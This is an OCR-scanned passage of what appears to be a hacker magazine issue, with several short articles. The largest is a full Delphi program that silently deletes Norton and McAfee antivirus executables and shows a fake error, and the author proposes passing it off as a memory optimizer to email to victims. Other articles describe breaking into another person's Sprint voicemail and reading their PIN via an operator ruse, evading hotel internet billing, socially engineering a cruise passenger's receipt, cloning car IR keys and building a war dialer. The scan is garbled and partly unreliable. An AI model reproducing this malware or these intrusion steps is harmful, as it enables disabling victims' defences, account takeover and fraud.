print OUTFILE n <A HREF*\ "http ://$remoteAddresB /page . html\" >Static Page</A>" ; 
close OUTFILE; 

Now that 1 have four new files on the hosted web site, what do I do with them? 1 created a 
.shtml file that lakes those files and places them inside a web page. Now the page can be 
viewed and the links are always up to date. 

<html> 

<head> 

<meta http-equiv*"Content-Type" content* "text/html ; charset =windows- 1252 " > 

<Citle>LinJcs to home se 2 rver< /title* 

</head> 

<body> 

<t able border*"0" cellpadding*"0" cell spacing* "0" width* "100t"xtrxtd> 

<p align* "center ">< font size*"€"xstrong>My Stuff at Home</strongx/font> 

<br> 

<BR> 

< l --ttinclude file* "cgi -bin/ appname .html* --> 

<BR> 

< J --If include file* "cgi -bin/ secure_app.html" --> 

<BR> 

< / -- it include file* "cgi -bin/ secondApp.html" --> 

<BR> 

< i - -ttinclude file* "cgi -bin/page .html" 

<BR> 

</tdx/tr> 

</table> 

\ 

</body> 

</html> 


This may not be the most elegant solution to the problem. In fact, it's a bit of a kludge. But 
it doesn't rely on an external DNS provider and was easy to implement. 

Related Links 

http://free.prohosting.com - reliable free web hosting with CGI support. 
http://lwp.linpro.no/lwp/ - for information about the LWP and libwww-perl perl modules. 

Thanks to: Joshua Jackson for creating Coyote Linux, Larry Wall for Perl - the most fun 
programming language on the planet, Jen, Will, and Maddy for putting up with my computer 
, habit. 


■Spring 3 0 0 ‘I 


-Page 13' 




A 

Sim 

pie 



But Eff ectire Spsumer 


in Your AVS 


by Irving Washington 
thedarkshir t @ hotmail.com 

First off, sorry if anyone's miffed that 1 
wrote this in Object Pascal. I happen to like 
Borland's IDEs, and Delphi 7 came free with 
a computer mag DVD. I actually like it when 
the aim is to produce a Win32 app which can 
easily take the look and feel of all the Win 
OS's, from the battleship gray of 95 to the 
Fisher-Price makeover of XP. So there. I'm 
sure you all will take about ten seconds to ap- 
preciate the concept and can then write some- 
thing similar in your own languages. 

The basic concept is this: 

On execution, the program looks for vari- 
ous .exe files in their standard installation 
places on the PC running the program. If they 
exist, the program deletes them. For example: 
if fileExista ('C:\AVS\AVS.exe') then 

deleteFile ( • C: \AVS\AVS .exe • ) 

endif. 

(Repeat for each file you want to 
delete) 

And that, as they say, is that. 

It's easy to get lists of .exe files and their 
default install locations without shelling out 
for all the packages. I got mine by download- 
ing demo versions. I expect there's an easier 
way to read the tree for each AVS package, 
but I wanted to get something going quickly 
to see if the AVS software would pick it up. It 
doesn't, as far as I can tell. 

Therefore, this could be sent via e-mail 
systems which check for virii and the like. 
The trusting user, seeing the app pass the on- 
line scan, would then download and run it on 
their own system. The effect is to leave the 
"shell" of the AVS on the machine, while re- 
moving all the working parts. Kind of like 
stealing a PC from the inside, leaving the 
empty case behind. 

The deleted files cannot be recovered by 
going to our old friend the recycle bin. To the 
typical user, they will be irretrievable, and 
the AVS will require a reinstallation. 


This is obviously Not Good. I don't like 
the idea that 1 could pay for an AVS designed 
to protect my PC that could be knocked out 
by a program which any novice with a bare 
modicum of programming skills could write, 
plus the fact that if the person who sent the 
file was targeting a specific PC/group of PCs, 
they would be vulnerable to all virii etc. once 
the initial AVS De-exe-r had been run. 

I know that this program isn't a virus. It's a 
program that does what it's supposed to. But 
it seems hopelessly lame to me that AVS pro- 
grams aren't able to protect themselves 
against such a blatant, obvious attack. 

My program, once it has removed the AVS 
.exe files, displays a little message box saying 
how the program is incompatible with that 
version of Windows. The AVS De-exe-r can 
obviously be called, and touted as, anything 
else. A useful memory optimizer, for exam- 
ple. It then shows a window with all the stan- 
dard menu bar items (disabled) and an error 
message. It has an option for reading the de- 
tails of the "fault." All cosmetic doohickeys 
that serve to trick the user into believing that 
this was simply a program that failed to 
work, like so many free downloads. 

I guess now maybe it's the turn of the guys 
who get paid to make these AVS things to 
sort this out. 

This took me approximately five minutes 
to write. Because I believe in responsible 
hacking, the only PC I've used it on is my 
own. Naturally (here it comes), what you do 
with the information contained in this article 
is up to you. You know the laws in your own 
countries, etc., etc., etc. You know the score. 
ENDPREACHO. 

Sorry, but I always find those bits quite 
fun. 

OK, that's enough. The bones of the prog 
are below. If you want to use Delphi, I 
believe you can get free versions at 
www.borland.com. If you want to try out my 
app (on your own PCs only!) then email me. 


Page it 


SbOO tlagazine 


//main listing for AVS-De-exe-r as whatnotted in Object Pascal using Delphi 7 


uses 

Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms, 
Dialogs, StdCtrls, Menus; 

type 

TForml - class (TForm) 

Buttonl: TButton/ 

Labe 1 1 t TLabe 1 ; 

LiStBoxl : TListBox; 

MainMenul : TMainMenu ; 

Filel: TMenuItem; 

Registerl: TMenuItem; 

Sear chi : TMenuI tern ; 

Viewl: TMenuItem; 
oolsl : TMenuItem; 

Windowl: TMenuItem; 

Helpl : TMenuItem; 

Memol : TMemo; 

But ton2 : TButton; 

procedure PormCreate (Sender: TObject) ; 
procedure But tonlClick (Sender : TObject); 
procedure Button2Click (Sender : TObject) ; 
private 

{ Private declarations } 
public 

{ Public declarations } 
end; 

var 

Forml : TForml ; 


implementation 
($R • .dfm) 

procedure TForml . PormCreate ( Sender : TOb j ect ) ; 
begin 

if fileExists (’C:\Program Filea\Navnt\alertsvc.exe') then 
begin 

deleteFile (’C:\Program Piles\Navnt\alertsvc.exe 1 ); 
end; 

if fileExists (’C:\Program Piles\Navnt\BackLog.exe') then 
begin 

deleteFile ( 'C:\Program Files\Navnt\BackLog.exe' ) ; 
end; 

if fileExists ( *C: \ Program Files \Navnt \BootMarn. exe' ) then 
begin 

deleteFile ('C:\Program Files\Navnt\BootWam.exe'); 
end; 

if fileExists (‘C:\Program Filea\Navnt\DefAlert.exe*) then 
begin 

deleteFile ('C:\Prograra Files\Mavnt\DefAlert.exe'); 
end; 

if fileExists ('C:\Prograra Files\Navnt\n32scanw.exe') then 
begin 

deleteFile (‘C:\Program Files\Navnt\n32scanw.exe'); 
end; 

if fileExists ('C:\Program Files\Navnt\navapsvc.exe') then 
begin 

deleteFile ('C:\Program Files\Navnt\navapsvc.exe 1 ); 
end; 

if fileExists ('C:\Prograra Files\Navnt\navapw32.exe') then 
begin 

deleteFile ('C:\Program Files\Navnt\navapw32.exe 1 ); 
end; 

if fileExists ('C:\Program Files\Havnt\alertsvc .exe* > then 
begin 

deleteFile ('C:\Program Files\Navnt\alertsvc.exe'); 
end; 

if fileExists ('C:\Program Piles\Navnt\alertsvc.exe*) then 
begin 

deletePile ('C:\Program Files\Navnt\alertsvc.exe'); 
end; 

if fileExists ('C:\Program Files\Navnt\alertsvc.exe') then 
begin 

deleteFile ('C:\Program Files\Navnt\alertsvc.exe'); 
l end; 




if fileExists ( ‘C: \ Program Files\Navnt\alertBvc.exe') then 
begin 

deleteFile ('C:\Program Filea\Navnt\alertavc.exe' ) j 
end; 

if fileExiata ('C:\Program Filea\Navnt\navapw32.exe') then 
begin 

deleteFile {'C:\Program Filea\Navnt\navapw32.exe' ) f 
end; 

if fileBxista ('C:\Program Filea\Navnt\NavUStub.exe') then 
begin 

deleteFile ('C:\Program Files\Navnt\NavUStub.exe ') ; 
end; 

if flleExiBta ('C:\Program Piles\Navnt\navwnt.exe*) then 
begin 

deleteFile {'C:\Program Filea\Navnt\navwnt.exe'); 
end; 

if flleExiata {‘C:\Progranj Filea\Navnt\NPSCheck . EXE* ) then 
begin 

deleteFile (* C:\Program FileB\Navnt\NPSCheck.EXE'); 
end; 

if fileExiata ('C:\Program Files\Navnt\npaBvc.exe') then 
begin 

deleteFile ('C:\Program Filea\Navnt\npaavc.exe 1 ); 
end; 

if fileExists ('C:\Program Files\Navnt\NSPlugin.exe*) then 
begin 

deleteFile (•C:\Prograra Filea\Navnt\NSPlugin.exe'); 
end; 

if fileExiata ('C:\Prograro Filea\Navnt\NTaakMgr.exe’) then 
begin 

deleteFile ('C:\Program FileB\Navnt\NTaakMgr.exe'); 
end; 

if fileExists ('C:\Program Filea\Navnt\nvlaunch.exe* ) then 
begin 

deleteFile ('C:\Program Filea\Navnt\nvlaunch.exe'); 
end; 

if flleExiata ('C:\Program Filea\Havnt\POProxy.exe') then 
begin 

deleteFile ('C:\Program Filea\Navnt\POProxy .exe • ) ; 
end; 

if fileExists ('C:\Program Files\Navnt\qconeole.exe') then 
begin 

deleteFile ('C:\Program Filea\Mavnt\qconaole.exe'); 
end; 

if fileExiata ('C:\Program Filea\Navnt\6cnHndlr.exe') then 
begin 

deleteFile ('C:\Program Filea\Mavnt\ScnHndlr.exe'); 
end; 

if fileExists (’C:\Program Files\Symantec\LiveUpdate\NDETECT.EXE*) 

then 

begin 

deleteFile ('C:\Program File8\Syroantec\LiveUpdate\NDETECT.EXE' ) ; 
end; 

if flleExiata ('C:\Program Piles\Syniantec\LiveUpdate\AUPDATE.EXE’) then 
begin 

deleteFile ( 'Cj \P rogram Filea\Syraantec\LiveUpdate\AUPDATB.EXE 1 ); 
end; 

if fileExiata ('C:\Program Filea\Symantec\LiveUpdate\LUALL.EXE') then 
begin 

deleteFile ('C:\Program Filea\Symantec\LiveUpdate\LUALL.EXE' ) ; 
end; 

if fileExiata { *C: \Program Filea\Symantec\LiveUpdate\LuCexnServer . EXE 1 ) 

then 


begin 

deleteFile ('C:\Program Filea\Symantec\LiveUpdate\LuCocnServer.EXE’); 
end; 

if flleExiata (• C : \ Program 

Files\Symantec\LiveOpdate\l. Sett ings. Default. LiveUpdate* ) then 
begin 

deleteFile ('C:\Prograro 

Files\Symantec\LiveUpdate\l. Settings. Default . LiveUpdate* ) j 
end; 

if fileExiata ( ’C: \Progran> Pile8\Sytnantec\LiveDpdate\LSETUP.EXE' J then 
begin 

deleteFile ('C:\Progratn Files\Syraantec\LlveUpdate\LSETUP.EXE' ) ; 
end; 

if fileExiata { ‘C:\Program Filea\McAfee\McAf ee Internet 
Security\gd32 . exe • > then 
begin 

deleteFile {'C:\Program Filea\McAfee\McAf ee Internet 
Security\gd32 . exe * ) ; 
end; 

if fileExiata ('C:\Prograro Filea\McAf ee\McAfee Internet 
Security\gdlaunch . exe ' ) then 
begin 


V 


deleteFile ('C:\Program Fi lea\McAf ee\McAfee Internet 


/ 




J 


9 


f SecurityXgdlaunch . exe ' J ; 
end; 

if fileExists ('C:\Program Filea\McAfee\McAf ee 
Security\gdcrypt . exe * ) then 
begin 

deletePile ( 1 C s \ Program Files\McAfee\McAfee 
SecurityXgdcrypt . exe * ) ; 
end; 

if fileExists ('C:\Program Piles\McAfee\McAf ee 
Security\GuardDog . exe ’ ) then 
begin 

deletePile ('C:\Program Files\McAfee\McAfee 
Secur i ty \QuardDog . exe * > ; 
end; 

if fileExists ('C:\Program Files\McAf ee\McAfee 
Security\IView . exe • ) then 
begin 

deletePile ('C:\Program Piles\McAfee\McAfee 
Security\rview.exe* ) ; 
end; 

if flleBxists (’C:\Program Piles\McAfee\McAf ee 
begin 

deleteFile ('C:\Prograra Files\McAfee\HcAfee 
end; 

if flleBxists (*C:\Program Files\McAfee\McAÂŁee 
Component s \ Vi sualTrace\NeoTrace . exe * ) then 
begin 

deleteFile ('C:\Program Filea\McAfee\McAfee 
~omponents\VisualTrace\NeoTrace . exe * ) ; 
end; 

if fileExists ( 'C: \ Prog ram Files\McAfee\McAf ee 
Components\Shredder\ahred32.exe* > then 
begin 

deletePile (*C:\Program Filea\McAf ee\McAfee 
Ccxnponents\Shredder^shred32.exe• ) 
end; 

if fileExists ('C:\Prograra Piles\HcAf ee\McAf ee 
ComponentsXQuickClean Lite\QClean.exe') then 
begin 

deleteFile ('C:\Program Files\McAfee\McAfee 
Component s\OuickC lean LiteXQClean . exe * ) ; 
end; 

if fileExists C : \ Program Files\HcAf ee\McAfee 

Updater\RuLaunch . exe * ) then 
begin 

deleteFile ('C:\Program Pi les\McAf ee\McAfee 
Updater\RtiLaunch.exe* ) ; 
end; 

if fileExists (’C:\Program Pi les\McAfee\ McAfee 
Component s\Guardian\ CMGrdian . exe * ) then 
begin 

deleteFile ( * C : \ Program Files\McAfee\McAfee 
Component s\Ouardi an \CMGrdi an . exe ’ ) ; 
end; 

if flleBxists ('C:\Program Files\McAfee\McAfee 
Components\Guardian\schedwiz.exe') then 
begin 

deletePile ('C:\Prograin Piles\McAfee\McAf ee 
Component a \Guardian\aehedvix . exe ' ) ; 
end; 

if fileExists ('C:\Program Files\McAf ee\McAfee 
Components\Central\CLaunch.exe * ) then 
begin 

deleteFile ('C:\Prograra Piles\McAf ee\McAfee 
Components\Central\CLaunch.exe' ) > 
end; 

showmessage ( 'Could not find dev\null\drivers.dll 
atart. ' ) ; 


Firewall\cpd.exe*) then 
Firewall\cpd.exe 1 ) ; 


Shared Component s\ Instant 


Shared Component s\ Instant 


Application failed to 


procedure TForml . But tonlClick (Sender : TObject) ; 
begin 
Close ; 
end; 


procedure TForml. But ton2Click( Sender: TObject); 
begin 

ListBoxl. Visible :* false; 

Memo 1 .Visible :• true; 
end; 



by Estragon 

Many hotels are offering high-speed Inter- 
net access to people who stay there. Mostly 
this is via Ethernet cables, though some ho- 
tels also offer wireless. This article addresses 
one particular setup that we will probably be 
seeing a lot more of, which I got to use and 
experiment with at a Hilton hotel (at the 
Schiphol airport in Amsterdam, when my 
flight was canceled and I was forced to stay 
an extra day). 

1 think we'll be seeing a lot more of this 
type of integrated hotel system because it is 
very sophisticated and capable. It's not clear 
whether Hilton is using a standard vendor 
system or has merged several different types 
of systems, but the outcome is full integration 
of television (including games and pay per 
view), TV-based Internet (similar to 
WebTV), the hotel's information system 
(TV-based, to check out and see bill status), 
telephone, and of course high-speed Internet. 

You can guess which one is of interest to 
the folks who are reading this: high-speed In- 
ternet. I will give a rundown of the system 
and some tips on how to get some time on the 
system without paying for it. The details of 
the fully integrated system, which Hilton 
claims it will be rolling out to all hotels in the 
future, are probably different than most other 
hotels with high-speed Internet. But the 
Internet portion is pretty standard, and the 
workarounds are similar to what I've 
encountered at some other places. 

OK, so here's the drill: You set up your 
laptop or whatever and plug in the standard 
Ethernet cable supplied on the hotel room's 
desk. You might need to reboot or otherwise 
tweak your system for it to recognize there is 
a new connection available. 

In other hotels, what happens next is that 
you open your web browser and try to visit a 
page, and instead are redirected to a web 
page by the Internet company (for example, 
STSN. which is found in many hotels such as 
the Sheraton chain). 

But in the Hilton, once I plugged in, the 
TV came on and beeped annoyingly (the 
same beep they use for a wake-up call. It got 


my attention!). It said that I was trying to ac- 
cess the Internet and to enter a room number 
or PIN using the TV's remote control. 

This is actually a good security feature to 
make sure you didn’t somehow get to the 
patch panel or some other open connection. 
You can't enter someone else's room number 
(I tried) because your Cisco unit’s address 
(below) is linked to your room. So you enter 
your room number. 

Next, it steps you through the process of 
rebooting your computer (obviously, in- 
tended for Microsoft users), then says to try 
to access the Internet. 

This is where the free access begins. At 
this point your computer is (hopefully) con- 
nected and has received its IP address via 
DHCP. However, you did not yet confirm 
with the TV that you're accessing the Internet 
and have not loaded any web pages. 

The trick is that standard ports other than 
80 are now open. I was able to ssh (port 22) 
to another computer on the Internet with the - 
X option (to tunnel X Window connections). 
I could then start Mozilla or whatever app re- 
motely and have it show up on my computer 
in the hotel room. (Of course, you need to lo- 
gin via an xterm or similar and have an X 
server on your computer.) 

Unfortunately this bliss only lasted for ten 
minutes or so (you might get a little extra 
time by using the "Back" on the remote con- 
trol and otherwise trying to reset any timers 
that are running). Eventually the TV beeps 
again and you're back at step one but your ssh 
session gets blocked. 

The good news is you can start over again 
and get another ten minutes of connectivity. 
But I was unable to continue my ssh session 
(even though the DHCP IP address was the 
same) and needed to reconnect. 

Why bother trying to get ten minutes? 
Well, in this hotel (and probably all those 
with the same setup) charges for access are 
by the hour, not the day. I was paying ten eu- 
ros per hour (about $12) once I gave up 
screwing around and tried to get some work 
done in segments longer than ten minutes, so 
I appreciated the extra "free" time. I checked 


P • g • is 


St.00 Hsgaxlna 



'the next day and also kept track of my time 
(the TV beeps after an hour to let you know 
your time is almost up), and confirmed that 
the extra 30 minutes or so I got in ten minute 
increments were not charged. 

Later, 1 saw that for about $40 a day you 
could get a package with unlimited Internet 
plus unlimited pay per view movies and other 
perks. Well, maybe that's worth it if you’ve 
got the need and the bucks. 

Here's a little more information about the 
configuration. They are using Cisco 575 LRE 
Customer Premise Equipment (CPE) units in 
each hotel room (see http://www.cisco.com 
>Âť/warp/public/ce/pd/si/575/prodlit/index.shtml 
for specs). These were attached to the back of 
a digital TV and have two network connec- 
tions, two power connections, and what looks 
like an active security monitoring device (so 
be careful if you try to move it around much). 

The Cisco 575 LRE product sheet says it 
needs to connect to a Catalyst 2900 LRE XL 
switch, which is probably where the smarts 
are. The integration with the TV and billing 
system was not clear, but my guess is that the 
TV got its commands via the 575. These 
commands were probably from a separate 


computer in the building that also was doingN 
the monitoring and billing for pay per view, 
security, etc. 

I did all of the above with my portable 
Mac running OS X. Unfortunately, 1 didn't 
have nscan or other tools to try to probe the 
network further or sniff the network, and I 
didn't have enough time to grab them and ex- 
periment. Obviously if you could see their 
server for billing, etc. there would be oppor- 
tunities to either try to fool the server or get 
access to it. If Hilton is smart, there would be 
very limited access from the server to the rest 
of the hotel infrastructure (otherwise, for ex- 
ample, access to non-critical services like in- 
room Internet and pay-per-view could yield 
access to critical services like door key-card 
encoding). 

In closing, the system I used was defi- 
nitely very cool, but had an easy and obvious 
way of bypassing the charging system for 
some free Internet. Even though it costs a lot 
of money to stay in a Hilton and pay (by the 
hour!) for Internet service, my guess is that 
these types of integrated systems (TV, Inter- 
net, games...) will be a lot more common in 
the future. 



by JestersS 
Jesters8@yahoo.com 

Recently I went on vacation and I took a 
cruise through Alaska. I was sailing on the 
Carnival "Spirit." It was a good time, but as I 
got a little restless I wondered just what things 
of interest could be found onboard. 

Background 

Let me give a little background on how the 
technological aspects of the ship work. When 
you come onboard for the first time, every per- 
son receives a "Sail and Sign Card." At first it 
seemed like nothing more then a glorified 
room key. but as the features of the card were 
explained, it seemed to be more and more use- 
ful. Not only did the magnetic strip card act as 
,i room key. but it also was a credit card and 
photo ID to get back onboard the ship after we 
i locked in a port. After I was issued a card, I 
. stood in front of a booth and my picture was 


taken. 1 could see as I walked around behind 
the booth that it was a touch-screen computer 
that stored everyone’s pictures. Later I learned 
that once someone boarded the ship again, the 
security officer only had to look at the stored 
photo (which would appear when the card was 
swiped) to make sure it was truly that person. 
The cruise was what they referred to as a 
"cashless cruise." To buy something in the gift 
shop or bar, you gave them your card and 
signed a receipt, much like a credit card. Then, 
your room was billed and when you got home 
you wrote a check. 

The card designers had some sense when 
making their system. The card has a four digit 
ID number (called a "folio" number) but no 
room number, so if someone accidentally 
found your card, they couldn't break into your 
room unless they had some other way of 
knowing where you were staying. Another 


interesting system used by the cruise was a 
way of ordering tickets to do different things 
onshore. With your TV, you used your remote 
to pick out something and then entered your 
folio number. The next morning tickets were 
delivered to your door. Along with ordering 
things, you could also see everything you had 
paid for by typing in your folio number. This 
seemed to have numerous voyeuristic possi- 
bilities, so to test it out I asked a friend of mine 
from a different room to enter his number on 
my TV. It seems they matched your folio num- 
ber to your room number inside the purchase 
checking system, so your folio number could 
only be accessed through your own room. To 
further check this I rode on the elevator a few 
limes, memorizing the folio numbers on cards 
people had out. I returned to my room and 
found that all of the numbers that I knew were 
valid ID numbers could not be accessed from 
my TV. 

The Internet Cafe 

All of this leads me to the most interesting 
part of the ship for an inquisitive mind - the 
Internet Cafe. This was a library-like room on 
the ship with a dozen computers, although the 
only thing accessible was the monitor, key- 
board, and mouse. The actual computer was 
inside a locked wooden cabinet. To get to use 
one of these machines you had to log in and 
suffer charges that equated to highway rob- 
bery. To log in. you typed in your first initial, 
last name, and room number as your user- 
name, and your folio number as your pass- 
word (which could later be changed to 
anything). For example, if my name were John 
Smith, my login would be jsmithl234. Not 
wanting to pay these exorbitant charges, but 
not wanting to really steal access, I resolved 
myself to poking around the system. To sec if 
the login manager could be exited 1 tried every 
hotkey combination I could think of, all the 
Ctrl-, alt-, shift-, Ctrl- alt-, Ctrl- alt- shift -, etc. 
This proved fruitless. By right clicking. I 
learned that the login system was made in 
Flash and playing in Flash Player 6.0. Next, if 
I clicked on the option in the right click menu 
that said "About Macromedia Flash Player 
6.0" for a brief moment the Taskbar appeared. 
If you were quick you could access a limited 
Start menu. It only allowed access to "Pro- 
grams", but I was able to look at the "Start Up" 
menu. It had two executables that appeared to 
be written in VB, because it had that VB exe- 
cutable icon instead of the standard Windows 
one. The two programs were named 
"dsibillingxp.exe" and "sysckxp.exe". 


Googling these names revealed that some- > 
thing called "sysck.exe" is a Motorola cable 
modem driver. However, this may not be re- | 
lated to the program on the ship's computers, 
because the ISP for the ship was Digital Seas, 
a satellite broadband ISP designed just for 
cruising ships. I managed to crash the com- 
puter by trying to run dsibillingxp.exe. F8 was 
disabled as the computer rebooted, so I could- 
n't access safe mode or anything. I did learn 
that the machines were made by Compaq and 
running XP Pro. It didn't use the normal XP lo- 
gon with the list of users and little pictures, but 
the Windows network login. Since it displayed 
the last login name, I found out the user name 
for the passengers' systems was "cruise". I 
tried common passwords and things that might 
seem logical, but I couldn't crack the pass-1 
word. It wouldn't be of much value even if I 
did because it would start the two programs! 
and bring me right back to where I started. The 
default logins for administrator privileges and 
guest had been disabled. 

I still wanted to see if it was possible to get 
access without paying, so it was time for a lit- 
tle social engineering. Since you needed a 
room number, a name, and a folio number, a 
room card would not be enough to get on a 
computer. There was one thing that had all this 
information, however. It was a receipt. When 
you bought something at the bar and signed 
for it, you kept the customer copy and this had 
your full name, room number, and folio num- 
ber printed on it. There weren't exactly dump- 
sters onboard to go through, but I had an idea. 

I got a piece of paper with something printed 
on it and folded it over. I headed for the bar 
and approached a fifty-something woman (not 
trying to be sexist, but she seemed convinci- 
ble). I told her I was playing in a family scav- 
enger hunt and that one of the items was a 
drink receipt. I asked if I could have hers. She 
handed it over without hesitation. 

Now being the good person I am, I wasn't 
going to do anything with her personal infor- 
mation. But the point is I could have. Anyone 
could have used it to quickly rack up hefty 
charges to her bill. In conclusion, their com- 
puter systems seemed secure to basic intrusion ; 
attempts, but the weakness in the system lies 
in the customers. 

Greetz: MerlinI22 for always being there l 
when / need him. 


Page BO 


■B b 0 0 Hagazine 


r 


A Sprint PCS 


Trick 


SY 


IN 


1121 
255512120**0 
02025551212 # 
rsRvii rŠuiTi 


Sprint > 


by quel 

We ail love to hate cell phone companies. 
But some in particular, like Sprint PCS, seem to 
go out of their way to try to screw you over. 
First, have you noticed that it costs you minutes 
to call your voicemail? 

For those of you with free Sprint to Sprint 
minutes this makes even less sense. You might 
find this trick useful: 1 1 -XXX-XXX-XXXX T 
- ** TT XXX-XXX-XXXX #. The first num- 
ber is any other Sprint cell phone number. Don't 
worry, their phone won't ring. The second num- 
ber is your phone. If you call your voicemail in 
this fashion then it will be billed as Sprint to 
Sprint minutes and you will be able to check 
your voicemail for free like you should have 
been able to all along. This was presented on Off 
The Hook not too long ago without an explana- 
tion. If you notice the dialing of two ones, it is 
obviously an erroneous number. But instead of a 
regular misdialed number message, you get 
Sprint's attempt to trap the number. As this mes- 
sage starts a ** will drop you into the Sprint 
voicemail system and then you are just left to 
dial your number. (The T's are two second 
pauses and how Sprint phones let you store 
them.) I am quite surprised Sprint hasn't tried to 
shut this down yet. Maybe this article will 
prompt action on their part. 

The fun with Sprint's voicemail doesn't stop 
there. I'm sure many of you don't have your 
voicemail prompt you for your PIN out of con- 
venience. Hopefully you will shortly be con- 
vinced to change the settings to always prompt. 


If you have the actual person's phone then 
this is a trivial "hack" but without physical ac- 
cess to their phone we spend lime with our dear 
friend the phone op. Simply AN! fail by op di- 
verting and then supply them the number to the 
phone you want to call and then supply your 
destination number. Yes, this will appear as if 
you are calling from the AN1 to the same AN1. If 
the op gives you trouble you can always say 
something about your phone keypad having a 
number that's bad so you can't use your cell to 
call your voicemail. 

Now you are in the target's voicemail, re- 
motely or locally, unless they require the PIN to 
be entered. But, wait the fun doesn't stop, do you 
want to know their PIN number? (Perhaps it’s 
their ATM pin or some other valuable number 
that they use everywhere?) Dial 3 for personal 
options, then 2 for administrative options, then 1 
to turn skip pass code on. It will then immedi- 
ately tell you the current code. 

At this point you have total access to their 
voicemail as well as their PIN number and the 
target is utterly helpless. 

I'm sure this trick will work to get you into 
voicemails on many other cell phone companies 
and other systems. I hope more of you will learn 
to not have your PINs, passwords, etc. saved for 
you due to the grave security threat this poses. 

Shouts to amatus, lucky225, arron, 
Ncongnmt, Cavorite. and clarkk. 


MnitoiDiis Hhxz 


WITH A 


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MVliHSAI 


gt ••••■ 

n 


lit 


illOTI; 


‘jL 

Mi, - 


by TOneZ2600 

This article is intended as an educational ref- 
erence. In no way should it be used to gain un- 
lawful access. This includes breaking and 
entering as well as grand theft. 

As we all see and know, Mercedes Benz 
makes the most common luxury vehicles. Prices 
for these cars go from (new) $24K to approxi- 
mately $250K. After 1991 Mercedes Benz 
changed locking systems throughout their cars. 

^Iprlns S00V 


From a steel key that had to be "laser" cut to a 
steel key with an infrared sensor attached to it 
and recently to just an IR remote. (No more steel 
key.) The infrared sensor controller is attached 
to the key and aids in the keyless entry system. 
Older Mercedes Benz vehicles (91-99) have ac- 
tual IR sensors for door locks and trunk release 
mechanisms. Currently Saab, Volkswagen and 
other (semi) luxury vehicles have incorporated 
this new IR system for their vehicles. 

Page B 1 




When buying new IR keys for your vehicle, 
the key has to be "trained" to your car. This 
process takes anywhere from five minutes to 
five hours depending on the IR coding 
complexity. Once the key is trained, that's it 
So what does that do for me? Well, let's just 
say you left something in your car and you lost 
your key. How do you make an archive key 
from a Universal Remote? Simple. 

First, you are going to have to obtain a 
remote that has a "learning" function. There 


are several remotes on the market with this fea- 
ture. If you have a PDA that is IR equipped. I 
think the program "TV Remote Controller 5.5" 
will be suitable. 

Now grab your original IR key. The only 
thing that is left to do is to train the Unlock. 
Lock, and Trunk Release on your remote. This 
is done by selecting the button that you want to 
train and emitting an IR source from the origi- 
nal key. It's that easy and that stupid to own an 
$80K car. 



The 

Hardware 


WarID I ALER 



by Grandmaster Plague 

Have you ever been on a pen-test, doing 
some reconnaissance or just poking around for 
fun, and thought about how great it would be 
to have a hardware war dialer that you weren't 
worried about using and losing? Well, here’s 
the answer to your problems, and it's not as 
difficult as you might expect. 

Overview 

A war dialer is "a program that calls a given 
list or range of phone numbers and records 
those which answer with handshake tones (and 
so might be entry points to computer or 
telecommunications systems). Some of these 
programs have become quite sophisticated, 
and can now detect modem, fax, or PBX tones 
and log each one separately." War dialers are 
especially useful for exploring PBX networks 
and probing a particular target for a point of 
entry that may have been forgotten. Tradition- 
ally, a war dialer is used from a computer. This 
could be from a PC at one's home, school, etc. 
or a laptop out in the field. Advantages to a PC 
are the virtually unlimited power supply, and 
the fact that you know it's not going anywhere. 
Disadvantages to the PC are that one usually 
doesn't want the phone company to know 
you're dialing a thousand sequential numbers 
in a matter of an hour or so. Especially since 
they can trace you to where it’s happening. If 
that happens to be your home or place of em- 
ployment, you may not want the police keep- 
ing an extra watchful eye on what goes on 


there. So the other alternative is a laptop. 
Great, you can leave it be wherever you want 
and let it dial and collect all the data it wants 
while remaining relatively worry-free about 
the whole police/telco situation. This also 
works great if you're testing a PBX and need it 
closer to the target (i.e., within the physical 
confines of the network). But doesn't this seem 
like overkill? Even a cheap laptop has a fancy 
color 12” LCD screen, a hard drive, a nice 
processor, and pretty good bit of RAM in it, 
not to mention network and video cards. And 
what if something happens while you're letting 
the wardialing software do its job? I don't 
know about you, but I don't want to leave my 
expensive laptop lying around for someone 
else to stumble upon and pick up while I'm 
waiting for results. Also, laptops are bulky. 
They're not exactly easy to conceal in those 
green TNI boxes while making their calls. 

The Solution 

The solution I propose has seemed obvious 
to many for years, but hasn't become economi- 
cally practical until fairly recently. My solution 
includes three parts. A computer, a modem, 
and software. That simple. However, we're not 
just going to use any computer, modem, or 
software. We’re going to use a PDA. Specifi- 
cally, we're using a Palm V PDA. I picked one 
up on eBay with a hard case, cradle, and AC 
adapter for $22 (plus $10 S&H). The next 
thing we'll need is a Palm V modem. This I got 
after a little price-watch browsing from a com - 1 


Page SS 


ShOO Magazine — ' 



pany called Compu-America for $4 (plus $4 
S&H). Finally, we download TB A, the friendly 
PalmOS war dialer from the equally fri^fidly 
Kingpin of AtStake (formerly the LOpht). So, 
we've got all three things now and it shouldn't 
take a genius to pul them together. Hook up the 
palm to your computer and load in TBA. 
Charge the batteries, take it out of the cradle, 
plug in the Palm Modem, start up TBA, and 
you should be good to go as soon as you get a 
live dial tone. 

Ideas 

Now that you've got your $40 Hardware 
War Dialer ($22 for Palm plus $4 for modem, 
plus $14 S&H) up and running, what are you 
going to do with it? Well, just reading^e TBA 
manual might give you some ideas. You've 
got a pretty small device (about .5" thick, 5" 
long, and 3.5" wide) that can be concealed 
anywhere. You could hide it in one of those 
green TNI boxes I was talking about and with 
one end of the phone line stripped and alliga- 
tor-clipped you have a perfect beige box war 
dialer. If you’re worried about power you can 
pick up an AC adapter for the modem for a few 
more bucks and plug it into the wall some- 
where. The possibilities are endless, and hey, if 
you lose it or have it confiscated, no huge deal, 
right? You only spent forty bucks on it. 

Alternatives 

Sure, this isn't at all an original idea and it's 
been done before. I’m just trying to shed light 


on the fact that this can now be done easily and 
cheaply. I guess if you wanted to be hardcore 
you could hook up an external modem to a mi- 
cro-controller and program the micro-con- 
troller yourself. However, there is still the 
issue of power (you'd either have to find a 
place for a battery or always plug it into the 
wall). Also, the cost of this would probably be 
prohibitive, unless you have a bunch of blank 
micro-controllers lying around and a develop- 
ment kit for them. You also don't have the ben- 
efit of having a neat little Palm V to mess 
around with after you're done. And, an external 
modem with a micro-controller looks pretty 
nefarious when it's sitting on a desk plugged 
into a phone line for hours, at least far more so 
than a Palm V. 

Credits and URLs 

Definition from the Jargon Dictionary - 
http://info.as trian.net/jargon/terms/wAvar_ 
—dialer.html 

’ Product page for the Palm V modem located 
at http://www.compu-america.com/prodLG 
